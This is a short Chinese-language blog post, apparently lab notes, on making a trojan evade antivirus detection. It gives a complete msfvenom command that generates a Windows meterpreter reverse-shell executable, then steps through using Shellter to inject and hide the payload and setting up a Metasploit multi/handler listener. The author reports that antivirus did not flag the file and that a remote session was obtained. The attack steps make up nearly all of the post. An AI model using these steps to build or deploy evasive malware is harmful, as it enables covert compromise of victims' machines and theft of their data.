实现简单木马免杀

Posted 2021-03-17 bink1

今天所学的知识一共有以下几点：

1. ms08-067漏洞复现
2. ms10-046漏洞复现

3. 木马免杀

   前面几个漏洞复现就不详细说了，跟着步骤操作基本可以成功，主要说一下今天做的简单木马免杀，下面进入正题。

木马免杀

Shellter是一个开源的免杀工具，利用动态Shellcode注入来实现免杀的效果，我是使用的shellter免杀，做的不是很好，跟大家分享一下我的实验结果。

原理：

生成木马文件，然后将生成的木马文件与**shellter免杀工具**捆绑，然后设置监听，将捆绑后的文件拷贝到WinXP系统中，双击后，发现攻击成功，最后将该文件在腾讯哈勃分析系统上分析。

实验环境：

Kali系统    ip地址为: 192.168.159.128

步骤：

* 在Kali生成一个hacker.exe的木马文件。命令为：msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.159.128 lport=4321 -f exe > /root/hacker.exe

* 下载安装shellter免杀工具，切换到shellter文件夹下,执行shellter工具。（注意:直接执行shellter工具会不成功，因为Kali系统不支持运行.exe文件，所以我们需要安装使用wine模拟Windows系统打开.exe文件。）

* 执行shellter工具之后，依次选择
   1. 选择A
   2. PE Target后面填写/root/hacker.exe
   3. 选择Y
   4. 选择L
   5. payload反弹选择1

* 输入攻击机ip地址：192.168.159.128，端口为4321

* 输入msfconsole进入metasploit。

* 进入监听模块。命令为use exploit/multi/handler

* 配置参数，设置payload反弹，设置lport,设置lhost。

* 开始监听，run。

* 把Kali生成的hacker.exe复制到物理机，双击,系统没有报毒。

* 返回Kali，会看到回弹了信息，攻击成功进入到meterpreter，可以进行后渗透。